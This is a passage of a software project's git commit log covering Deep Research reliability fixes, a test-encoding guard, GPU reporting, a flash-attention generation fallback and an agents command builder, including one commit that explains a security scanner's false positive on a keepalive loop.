  reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
  sensitive-key scan when its inner keys are unlisted and would reach retrieval
  code that expects a scalar scope id.

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: remove research composer globe icon

* Studio: use Hugeicons telescope in research composer

* Studio: use Telescope02 icon in research composer

* Studio: standardize Deep Research telescope icons

* Studio: move Deep Research below web and code tools

* Studio: merge grounded page excerpts with search snippets instead of replacing

When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).

Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.

* Studio: fix stale website access assertion in Deep Research contract test

The dialog heading was renamed to a DialogTitle, so the contract test still
asserted a <span>Websites</span> that no longer exists and failed on every
branch built on this one. Assert the current heading instead.

* Add AGPL-3.0 SPDX header to the two new test files for PR #7219

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix citation loss, effort clamping and nested inferenceRequest for PR #7219

Three review findings, each with a regression test that fails without the fix.

Citation dropped for a bare URL in prose parentheses. _RAW_URL swallows the
closing paren and the old trim set only stripped ".,;:!?", so the catalog
lookup missed and the validator deleted the whole citation, leaving an
unbalanced "(" in the report. New _trim_url_tail follows GFM extended autolink
path validation: one right-to-left pass that interleaves punctuation and
unmatched-")" trimming. Both rules must run in the same loop, else
"https://x/y.)" keeps a stray dot. Balanced parens inside a URL
(Wikipedia-style) still survive. Output verified against cmark-gfm on nine
cases, including "https://x/foo)bar)" which must keep ")bar".

Research runs forwarded reasoningEffort unclamped. The local chat path clamps
to the loaded model's advertised levels; the research branch did not, and the
backend only validates enum membership, so llama.cpp dropped a level the model
lacks and the whole durable run silently fell back to the template default.
Now uses the same helper and the same levels as normal chat. Note this makes
"max" on a gpt-oss low|medium|high model resolve to "low" rather than falling
through to the template default, matching normal chat exactly; the divergence
between the two paths was the bug.

Nested inferenceRequest values were persisted. Every allowed field is a scalar
and the numeric/bool/enum ones reject a container while coercing, but "model"
is stringified with str(), which never raises, so {"auth": "sk-..."} slipped
past the sensitive-key scan ("auth" is not on the list) into the durable run
config as the model id. Mirrors the ragScope guard already in this PR.

Verified: 542 passed across the research/web/sandbox/chat-history backend
suites, frontend contract 10 passed, tsc --noEmit clean.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix report-stalling regex, uncataloged KB evidence and bracketed titles for PR #7219

Catastrophic backtracking in _DOCUMENT_CITATION. The alternation
(?:[^\[\]]+|\[[^\[\]]*\])* backtracks exponentially on an unterminated
"[Document:" with no later bare "]", which is ordinary malformed model output
and exactly what this sanitizer exists to handle. Runtime quadrupled every two
characters; one realistic 76-char line did not finish in 90s. It runs
synchronously inside async _research (the line below it uses asyncio.to_thread),
so a single bad report pins the event loop and stalls all of Studio, not just
the run. Replaced with the language-equivalent unrolled form, verified identical
on well-formed inputs including bracketed filenames, and linear: a 20,000-char
tail now takes 0.4ms. Not using possessive quantifiers or atomic groups, which
need Python 3.11 while this package declares >=3.9.

Uncataloged knowledge base evidence reached synthesis. When maxSources is
already full, every returned chunk hits the continue, so accepted_rag_sources
stays empty, the "if accepted_rag_sources" rebuild no-ops and rag_result keeps
the raw KB text. That text has no document_source_catalog entry, so the
validator strips any citation to it and synthesis is left building claims on
private KB chunks it cannot attribute. Cleared, gated on rag_sources so a
text-only KB reply is still passed through. The resume branch built rag_evidence
from all restored sources with the same hole, so it now mirrors the live loop.

Bracketed source titles destroyed their own citation. The catalog gave the model
the raw title while the citation writer stripped brackets. Search titles
routinely carry one ("[PDF] Annual Report"), and the prompt tells the model to
copy the title verbatim, producing a label the validator cannot match. Both
sides now share _citation_title.

Verified: 756 passed across the research/web/sandbox/chat-history/rag backend
suites. Each fix has a regression test that fails without it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep a durable run alive when no model is loaded for PR #7219

A durable run is claimable within the supervisor's poll interval of startup
(main.py starts it in the lifespan, and claim_next takes any 'running' run whose
lease expired), Studio has no startup model auto-load, and the browser is not
connected yet. So restarting Studio mid-run reliably lands the next model call
on the local endpoint's HTTP 400 "No model loaded". That 400 is not retryable:
_completion retries only >= 500, and _stream_completion, which serves both
planning and synthesis, has no retry at all. The run is marked failed, and the
only recovery is retry, which sets report_text NULL and deletes every
research_plan_step, research_source and research_document_source. Up to an hour
of scraping and synthesis is lost on a plain restart, on the feature whose whole
point is surviving one.

Treat only that refusal as transient: wait up to the run's own
modelTimeoutSeconds for a model to come back, then re-send. Any other 400 still
fails immediately, so no behaviour changes on the happy path. The wait polls
_check_active, so cancellation and lease loss are still honoured, and the model
probe fails open, so a probe error can only send a request, never withhold one.
Each wait is bounded by the run timeout and the number of waits per call is
capped, so a model that keeps disappearing cannot re-send forever.

Deliberately not pinning or restoring the model, which the review comment also
suggested. Auto-switch is opt-in, default off, and GGUF-only, so restoring
would silently evict the model the user just loaded from a background worker,
and comparing the configured name to the loaded id is fragile across variant
suffixes and advertised aliases, so it would break working runs.

Verified: 853 passed across the research/web/sandbox/chat-history/rag/inference
backend suites. Eight of the nine new tests fail without the fix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make website-policy search reach the whole allowlist and refill past blocks for PR #7219

Two review findings on the website access policy.

Domains past the site: filter cap were undiscoverable. The policy accepts up to
100 allowed domains and the prompt tells the model all of them are searchable,
but scope_search_query always scoped to allowed[:8], so a source in the ninth or
later domain could never be found, and an undiscovered URL cannot be fetched
either. The cap itself is right, search engines stop honouring long OR chains,
so the window now rotates by a hash of the query instead of being a fixed head.
Every allowed domain is reachable across a multi-step run, the same query is
always scoped the same way, and lists at or under the cap are unchanged.

A page of blocked results returned nothing. The policy filters after the search
while DDGS was asked for exactly max_results candidates, so if those happened to
be disallowed the tool reported no results even when valid ones ranked just
below, wasting a research step. Ask for a deeper pool when a policy is set and
stop at max_results allowed entries. No policy means no over-fetch, so ordinary
searches are unchanged.

Verified: 2324 passed across the research/web/sandbox/chat-history/rag/tool
backend suites. The 8 test_studio_api.py failures are pre-existing and need live
OpenAI/Anthropic credentials; they fail identically with these changes stashed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Only overfetch search results when the website policy restricts for PR #7219

Follow-up to 8be0b3699. Every run stores normalize_website_policy(...), which
returns {"allowedDomains": [], "blockedDomains": []} and is truthy even when
nothing is restricted, so the default unrestricted path asked DDGS for four
times as many results on every step. That is pure added latency and timeout
risk, since the filter passes everything and only max_results entries are
returned either way. Test the domain lists rather than the dict.

* Budget the whole research prompt against the loaded context for PR #7219

Only the synthesis evidence was budgeted, so the budget could not prevent the
overflow it existed to prevent.

Measured at head with a realistic prompt (40-source catalog, 12-step plan): the
untrimmable scaffolding is about 7,900 chars and the conversation context adds
up to 12,000 more. On a 4096-token context, which is the GGUF auto-fit floor and
the transformers default, the synthesis request came to about 1.7x the window.
Worse, _synthesis_evidence_budget computed usable_tokens = 0 at or below the
4,096-token reserve and then returned the 1,500-char floor anyway, so it added
evidence to a prompt that already did not fit. The decision prompt had no
context awareness at all: a fixed evidence[-60000:], roughly ten times a small
window, on every step rather than once at the end.

Overflow is not cosmetic here. It either silently truncates and degenerates the
report, as the comment above these constants already warned, or fails the run,
and a failed run is only recoverable via retry, which deletes every plan step,
source and document source and nulls the report.

Both paths now share _prompt_char_budget plus _trimmable_budget: each trimmable
section is measured against what the rest of the prompt leaves, and can reach 0
instead of a floor, because a shorter report beats a destroyed run. Evidence is
budgeted before the chat history, since the evidence is the report. Unknown
context still keeps the full cap.

At 4096 tokens the synthesis prompt now fits (0.6x). Below that it is still
over, since a 40-source catalog alone exceeds the window; that needs a smaller
maxSources, and the context box does accept values down to 128.

test_synthesis_evidence_budget_tracks_loaded_context asserted the old floor at
2048 tokens, which is the bug, so it now asserts 0 and that the rest of the
prompt counts against the same budget.

Verified: 2325 passed across the research/web/sandbox/chat-history/rag/tool
suites. The test_mcp_stdio_sessions failure is pre-existing and fails
identically with these changes stashed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Scope replayed research history to its own attempt for PR #7219

A retry deletes the previous attempt's research_plan_steps, research_sources
and research_document_sources rows but keeps its events, and the SSE route
attaches one live run snapshot to every event it emits, replayed history
included. The step.completed payload carries only position, title, action,
input and sourceCount, so that snapshot is the sole source of the excerpt and
evidence.

On any refresh after a retry, a replayed attempt-0 step was therefore matched
against attempt-1's step row by position alone, and start_position resets to 0
after the delete, so the positions line up exactly. The preserved attempt-0
activity then showed attempt-1's excerpt and evidence, or lost them entirely
when attempt 1 had not yet reached that position, under a banner that says
previous activity is preserved. The run.started resumed branch read the same
cross-attempt snapshot and spliced those activities out.

Both are gated on the event's attempt matching the snapshot's retryCount, which
is the same attempt scoping get_reasoning_text already applies server-side. The
excerpt and evidence fall back to what the activity already holds, so a mismatch
is non-destructive rather than blanking it.

Verified: frontend contract 11 passed, tsc -b exit 0, and the new test fails
without the store change.

* Retry pre-stream failures in the research stream for PR #7219

_stream_completion serves planning, every decision step and synthesis, and it
had no transport retry: a connection error or a 5xx raised before any response
byte failed the durable run, and retry then deletes every gathered source,
document source and plan step. _completion already treats the identical
failures on the identical endpoint as retryable, so the two paths disagreed.

This is partly a hole my own 689b06535 opened. After the no-model 400 the body
is read, the connection returns to the pool, and _wait_for_local_model then
sleeps for up to modelTimeoutSeconds before re-sending on the same client.
Uvicorn's keep-alive is 5s, so that pooled connection is essentially always
server-closed by then, and losing the has_expired race raises
RemoteProtocolError, killing the run the wait existed to save. Also reachable
via a read timeout waiting for headers under prompt-eval load.

Retrying is safe only because nothing has been consumed at that point, and that
is structural rather than a convention: with stream=True httpx returns on the
response headers without calling aread(), and raise_for_status() reads no body,
both verified against the installed 0.28.1. The handler is scoped to the inner
try that ends at break, and _iter_stream_lines sits outside the loop with no
path back to send, so a re-send cannot duplicate report text.

Bounded and mirrors _completion: same >= 500 predicate, same 3 attempts, same
2**attempt backoff, lease and cancellation re-checked before re-sending. The
transport counter and the model-wait counter are independent, so they cannot
multiply. The response is closed before every re-send, as manual stream mode
requires.

Note HTTPStatusError is not a TransportError in httpx, so both are caught
explicitly.

Verified: 2330 passed. Five of the new tests fail without the fix; the three
that pass either way are the invariants that must not change (fail fast on a
real 400, never retry once the report has streamed, existing model-wait path).

* Bound the planning prompt to the loaded context for PR #7219

Completes dc16598a4, which budgeted the decision and synthesis prompts but left
planning unbounded. The question reaches the planner verbatim (a pasted document
arrives here as-is) and the history is capped only at the fixed 12,000 chars,
so on a small context planning could overflow before any plan was persisted,
failing the run without doing any research at all.

Same helpers as the other two paths. The question is budgeted before the
history, since the question is the request.

A test now asserts all three prompt paths hold their own context budget, so a
fourth path cannot be added later without one.

Verified: 2331 passed; the new test fails without the change.

* Keep prompt inputs non-empty and fit the source catalog for PR #7219

Two follow-ups to the prompt budgeting, the first a regression I introduced in
dc16598a4.

The output reserve was a flat 4096 tokens, so on any context at or below that,
including the documented 4096-token GGUF floor, the whole prompt budget came out
as 0. Every trimmable section then sliced to nothing: planning_question became
the empty string, so the planner never saw the request at all, and synthesis
dropped all its evidence. Removing the old floor outright went too far; an empty
prompt is worse than the overflow it was avoiding. The reserve is now capped at
half the window, and the question and the evidence each keep a floor, since one
carries the request and the other carries the answer. A truncated completion is
recoverable, a confidently empty report is not.

The source catalog was the one section still inserted whole. It holds up to
maxSources entries with snippets persisted at up to 4000 chars each, so on a
smaller context it alone could exceed the budget while the code responded only
by zeroing the evidence and history. It is now fitted first, dropping whole
entries from the tail rather than slicing mid-entry, because a half-truncated
URL is worse than an absent one: the validator would strip it and the claim
would be left uncited.

Verified: 2333 passed. All three new tests fail without the change; the question
now keeps 1072 chars at a 2048-token context and 4144 at 4096, where both were
previously 0.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten Deep Research comments for PR #7219

Post-convergence comment pass over the 40 source files in the PR diff, limited
to lines the PR itself adds so untouched upstream code in the same files is left
alone. 15 files, 110 insertions, 141 deletions.

The reduction is deliberately small. Almost every comment here records why
something non-obvious is done, a measured result, a spec rule, or the exact bug
it prevents, and those are worth more than the lines they cost, so nearly every
edit is a same-meaning compression rather than a deletion. Kept in full: the GFM
autolink citation for the URL trim, the catastrophic-backtracking note on
_DOCUMENT_CITATION, the prompt-budget notes recording that a reserve at or above
the context leaves nothing, the two measured site: filter findings, and the
remount note on the activity panel key.

Verified comment-only three ways: comment_tools.py reports 15/15 code-unchanged,
and an independent ast.dump comparison with docstrings stripped shows zero of the
12 Python files differing. 421 backend tests and the 11 frontend contract tests
pass, and the phrase the contract test asserts on is still present on one line.

* Harden Deep Research model streams

* Fit Deep Research decision prompts

* Preserve Deep Research follow-up context

* Redact composite credentials from research queries

* Scale Deep Research UI typography

* Address Deep Research refinement review

* Harden Deep Research refinement edge cases

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-26 23:36:02 -07:00
Leo Borcherding
1dd2fc4583
tests: read checked-in files as UTF-8 instead of the platform default (#7438)
* tests: read checked-in files as UTF-8 instead of the platform default

Path.read_text() with no encoding uses locale.getpreferredencoding(), which
is UTF-8 on the Linux runners and cp1252 on a stock Windows install. Nine
module-level reads of checked-in source files were relying on that default.

studio/backend/routes/inference.py carries the DeepSeek tool-call token
regexes, so it holds U+FF5C and U+2581. Under cp1252 that read raised
UnicodeDecodeError on byte 0x81 at position 97806, and because the reads run
at import time it took test_cancel_atomicity.py and test_cancel_id_wiring.py
out at collection, not as failures. Green on CI, permanently broken for a
Windows contributor running the suite locally.

Adds a guard: at module scope there is no tmp_path fixture, so a bare
read_text()/write_text()/open() there is always touching a checked-in file.
That makes the rule mechanical enough to enforce with no allowlist, while
staying quiet about temp-dir I/O inside test bodies where the platform
default is harmless.

The repo already spells this correctly in 464 other places; this only stops
the stragglers coming back.

* tests: cover import-time helper reads and keep the guard py3.9-safe

Follows up on the Codex review:

- add `from __future__ import annotations`, since `str | None` in
  `_offender` is evaluated at import on Python 3.9 and pyproject declares
  requires-python ">=3.9,<3.15".
- widen the guard from module scope to import time. Class bodies and the
  bodies of module-level helpers called from an executing statement run
  during collection too, so `CODE = _extract_mixed_precision_code()` was
  the same hazard as an inline read. `if __name__ == "__main__":` blocks
  are skipped: pytest never executes them.
- scan studio/backend/tests/ as well as tests/. Both trees are collected
  on Windows by separate CI jobs, and the offender that started this,
  test_tool_xml_strip.py reading routes/inference.py, lives there.

Widening it surfaced seven more import-time reads of checked-in sources;
all now name utf-8.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden the import-time encoding guard for PR #7438

Close the detector gaps raised in review, all of which I reproduced against
the actual AST before changing anything.

False negatives (the guard let a real hazard through):
- _is_main_guard ignored the comparison operator, so if __name__ != "__main__"
  counted as script-only even though its body runs at import.
- The else arm of a main guard was discarded with the rest of the If node.
- Decorators and argument defaults on a module-level def were skipped with the
  body, though both are evaluated when the def executes.
- Path.open() in text mode was invisible; only builtin open() was matched.
- encoding = None and encoding = "locale" both re-select the platform default,
  but the keyword merely being present counted as pinned.

False positives (the guard would have blocked a compliant contributor):
- A non-literal mode fell through to the "r" default, so open(p, mode) was
  flagged even when mode is "rb", where adding encoding= is a ValueError and
  there is no edit that satisfies the rule.
- Same for open(*args) and a **kwargs splat, which hide the mode and can hide
  an encoding.
- Lambda bodies and comprehension elements were walked even though neither runs
  at definition.

Verified: still reports the same 22 offenders on unpatched main, green on this
branch and on the tree merged with latest main (557 files), and an adversarial
corpus of 33 cases now scores zero false positives and zero false negatives.
Also corrected two docstring claims: neither collecting job runs on Windows,
and the read is governed by locale.getencoding().

* Walk eager comprehensions and treat io.open as the builtin

Two regressions from the previous commit, both reproduced against the AST
before changing anything.

Lumping list, set and dict comprehensions in with generator expressions was
wrong. Only a genexp is lazy; the other three run their element expression,
their filters and their nested iterators immediately, so
CONTENTS = [p.read_text() for p in PATHS] at module scope is an import-time
read the guard was silently missing. Comprehensions are now walked in full and
only the genexp keeps the outermost-iterable-only treatment.

io was also in the not-a-path-opener list, but io.open is the builtin, with the
same mode position and the same platform default. io.open(CHECKED_IN_FILE) is
exactly the hazard this guard exists for, so it is matched now, with binary
modes and a pinned encoding still exempt. tarfile.open and fitz.open stay
exempt since neither has an encoding to name.

Verified: 13 targeted cases covering all five eager comprehension forms and
io.open in text, binary and pinned shapes all classify correctly; still 22
offenders on unpatched main; green on this branch and on the tree merged with
latest main.

* Close three more walker gaps in the import-time guard

All three reproduced against the AST first.

A generator expression handed straight to a call is consumed there, so
DATA = "".join(p.read_text() for p in paths) runs its element at import. Only
an unconsumed genexp bound to a name stays lazy, so the walker now follows the
consumed ones in full and keeps the outermost-iterable-only treatment for the
rest.

if "__main__" == __name__ is an equivalent and accepted spelling of the main
guard, but requiring __name__ on the left meant its body was treated as
import-time code. That is a false positive on a block pytest never runs, so
both operand orders are recognised now.

The helper table was built from module-level defs only, so a def in a class
body invoked while the class is constructed was never followed, contradicting
the walker's stated coverage of class bodies. Helpers are now collected from
the module body and from class bodies at any nesting.

Verified: 15 targeted cases including all three fixes and the earlier ones
still classify correctly; still 22 offenders on unpatched main; green on this
branch and on the tree merged with latest main.

* Handle positional read_text encodings, lazy generators and nested helpers

* Guard reads reached from test bodies, unbound Path calls and __file__ paths

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Follow derived paths, skip lazy generator helpers, cover compressed openers

* Guard the CLI tests, helper parameters and unbound Path arguments

* Discover test roots and follow literal, in-place and tuple-derived paths

* Identify module openers by import, unwrap starred paths, pin subprocess snippets

* Resolve import origins, seed helper locals, follow named generators and parametrize

* Scope imports lexically, list tracked test files, bind unpacked names

* Resolve aliased openers, keyword-only params, destructured targets, next()

* Pin the encoding on subprocess snippets, workflow lint and CLI output for PR #7438

* Harden the CLI encoding guard against detached streams for PR #7438

* Tighten the encoding guard's path and scope analysis for PR #7438

* Resolve path provenance more precisely and keep POSIX stream encodings for PR #7438

* Resolve qualified path classes and scope conditional imports for PR #7438

* Scope CLI stream setup to the entry point and align two encoding pairs for PR #7438

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-26 23:31:56 -07:00
alkinun
217e8f036c
fix(studio): report Vulkan GPUs in system UI (#7476)
* fix(studio): report Vulkan GPUs in system UI

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): separate Vulkan inference GPU reporting

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): keep retrying Vulkan probe refreshes

* fix(studio): preserve known zero GPU budgets

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-26 23:28:39 -07:00
Souravrajvi0
9eaf5c29a5
fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown (#7415)
* fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown

Classify local GGUF paths (and cached HF downloads when available) for
diffusion before _kill_process() so unsupported gpu_ids requests return
400 without tearing down the active model. Fixes #7205.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): always pre-download HF GGUF before Vulkan diffusion preflight

Reverts the cached-path shortcut so partial split caches still run
_download_gguf before Phase 1 teardown. Header-only classification from
resolve_local_gguf_path() does not prove the variant is complete.

* Fix inaccurate shared-constant comment and cover the local pre-teardown branch for PR #7415

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add a regression test for the pre-teardown GGUF download for PR #7415

* Tighten the Vulkan diffusion preflight comments for PR #7415

* Trim the Vulkan diffusion preflight comments for PR #7415

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
2026-07-26 23:08:31 -07:00
Piotr Wasiewicz
62d3438b99
Bypass fast_generate for flash_attention_2 models (StaticCache + FA2 produces gibberish) (#7429)
* Bypass fast_generate for flash_attention_2 models (frozen KV / gibberish)

unsloth_base_fast_generate forces cache_implementation="static", which
pre-allocates the full prompt+max_new_tokens KV buffer. With SDPA the
not-yet-filled slots are masked out; flash_attention_2 does not receive such
a mask, so decoding attends over uninitialized cache memory and produces
incoherent output (observed: coherent prompt echo followed by gibberish
rollouts on Phi-4-mini-instruct during TRL GRPO training; the KV length
appears frozen at the pre-allocated size). Note that on transformers >=
4.56 UNSLOTH_DISABLE_STATIC_GENERATION=1 still selects the static cache, so
the env-var escape hatch does not help either.

Fall back to the wrapped model's original generate when the config reports
_attn_implementation == "flash_attention_2" - plain HF generate is correct
with FA2 (validated: prefill q=13/kv=13, cache grows 14, 15, ..., coherent
output; equivalent to UNSLOTH_DISABLE_FAST_GENERATION=1 but scoped to FA2).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* Fix FA2 vision generation fallback

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Detect FA2 in VLM llm configs

* Fix default FlashAttention config detection

* Honor language attention overrides

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Handle nested FA2 configs and cache cleanup

* Pin a dynamic cache on the FlashAttention fallback for PR #7429

* Cover the explicit cache kwarg and caller caches in the FA2 fallback for PR #7429

* Tighten the FlashAttention fallback comments for PR #7429

---------

Co-authored-by: Piotr Wąsiewicz <piotrwasiewicz72@mail.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-26 23:07:33 -07:00
Daniel Han
d72b58a35e
Baseline the fastapi SSE keepalive loop after its 0.140.0 rewrite (#7480)
Security audit fails on main with 1 unsuppressed CRITICAL:

  CRITICAL  C2 polling/beaconing loop detected
  Package:  fastapi
  File:     fastapi/routing.py

The same file and check are already baselined, but the entry is keyed on a
digest of the matched code, so fastapi 0.140.0 rewriting the block reopened it.
That is the baseline working as intended, not a stale pin, so the new code
needs its own review rather than a regenerated file.

The flagged block is the SSE keepalive inserter:

  async def _keepalive_inserter() -> None:
      async with send_keepalive, receive_stream:
          try:
              while True:
                  try:
                      with anyio.fail_after(_PING_INTERVAL):
                          data = await receive_stream.receive()
                      await send_keepalive.send(data)
                  except TimeoutError:
                      await send_keepalive.send(KEEPALIVE_COMMENT)
          except anyio.EndOfStream:
              pass

It forwards one in-memory anyio stream to another and emits a keepalive comment
when the read times out. No socket, no outbound host, no fetched command, and it
terminates on EndOfStream. The heuristic matches it on the shape alone, a loop
with a timeout and a send, so it is a false positive.

Adds that one entry. The existing fastapi entry stays, since the requirement is
unpinned and an older resolve still needs it.

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-26 17:17:58 -07:00
Lee Jackson
7f0910fcc6
Add interactive Agents command builder (#7312)
* Add Agents settings tab for unsloth start

Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.

Also removes the "New" badge from the System and Chat tabs.

* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode

Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.

* Title Agents tab "Agents (unsloth start)" and move it below Connections

The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.

* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet

- Only probe agent PATH in the desktop app on a loopback backend, so
  Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
  returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
  it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.

* Add interactive Agents command builder

* Add local subagent command guidance

* Add official coding agent icons

* Use client OS for remote commands, fix copy a11y and model wording (#7303)

- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model

* Shell-quote the model, forward the HF token, and fix the quant placeholder

- Quote the --model value in the generated and subagent commands so a local
  path with spaces or metacharacters stays a single argument (client-OS aware)
- Pass the saved Hugging Face token to listGgufVariants so gated repos resolve
- Show 'No separate quantization' instead of a stuck 'Loading quantizations...'
  when a model has no variants; clear the failure once a later request succeeds

* Fix Agents command discovery and routing

* Unsloth start improvements: download progress, server reuse, and safe model switching (#7313)

* Improve unsloth start runtime lifecycle

* Remove speculative Gemma prompt override

* Polish model download progress output

* Refine unsloth start status output

* Clarify unsloth readiness banner

* Clarify model reuse and switching output

* Queue model switches behind active inference

* Tighten unsloth start model switching

* Reduce model switch bookkeeping

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Studio re-exec compatibility

* Recheck sidecar reservation after inference drain

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pass start marker through child environment

* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313

- Redact minted sk-unsloth keys from the startup-failure log tail: the early
  key marker lands in the server log before the model load finishes, so a
  load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
  swap on another event loop cannot count it as still queued and unload the
  model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
  weights for every attached session, but the repo ids match so no switch
  warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
  message does not read as a successful session
- Use taskkill /T in unsloth studio stop so llama-server children stop too

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in start, studio, and inference changes

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>

* Unsloth start: add local subagents for Claude Code, Codex, OpenCode and Pi (#7326)

Bring the local-subagent support onto main. The original change (#7316) merged
into the stacked pr/daniel-unsloth-start-audit branch rather than main, and #7313
reached main via squash, so these files never landed on main.

Adds --as-subagent for claude, codex, opencode and pi: the parent agent keeps its
own cloud model while a locally served GGUF is registered as a delegated subagent,
using ephemeral per-session config that never touches the user's real agent config.

* Fix Agents builder defaults and flag validation

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Agents variant and provider fallbacks

* Fix local model and Pi subagent edge cases

* Agents tab: flag the Codex row when the loaded model is not GGUF

* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms

* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder

* Preserve cache load ids and path variants in built commands for PR #7312

A GGUF outside the active Hugging Face cache only loads by its snapshot
path, so keep that load_id for --model while still listing the row by repo
id. Path based models carry their quant in --gguf-variant rather than a
":variant" suffix, and the active selection now keeps the variant inference
status reports for them.

* Agents tab: index the intro for agent-name searches and keep long commands inside the panel

* List GGUF variants from the cache the command loads from for PR #7312

A snapshot outside the active Hugging Face cache was offering the remote
variant list, so a quant absent from that snapshot could be selected and
the generated command would fail to load it.

* Agents tab: omit --api-key so the CLI can replay a saved key for the base

* Agents tab: label the indexed heading rows and fall back to the active desktop API base

* Agents tab: name every supported agent in the indexed intro for PR #7303

* Send the cached GGUF load path and fix the agents tab search targets for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten the agents tab comments for PR #7303

* Build the agents tab example commands from the active Studio base for PR #7303

* Keep the resident model on its active cache load for PR #7312

* Tighten the agents tab and cached GGUF comments for PR #7312

* Take the agent command shell from the Studio host for PR #7303

* Stop emitting snapshot paths as --model and keep unsloth start searchable for PR #7312

* Pick the command shell from where the CLI runs for PR #7303

* Match a path load by its advertised id and follow the resident model for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep an explicit quantization and retire superseded native-grant labels for PR #7312

* Scope the remembered quant, stop following unloaded models and keep local GGUF paths for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Stop shadowing the path classifier, match snapshot ordering and sequence status polls for PR #7312

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Release stale native-grant picks, keep local GGUF identities and index snapshot aliases for PR #7312

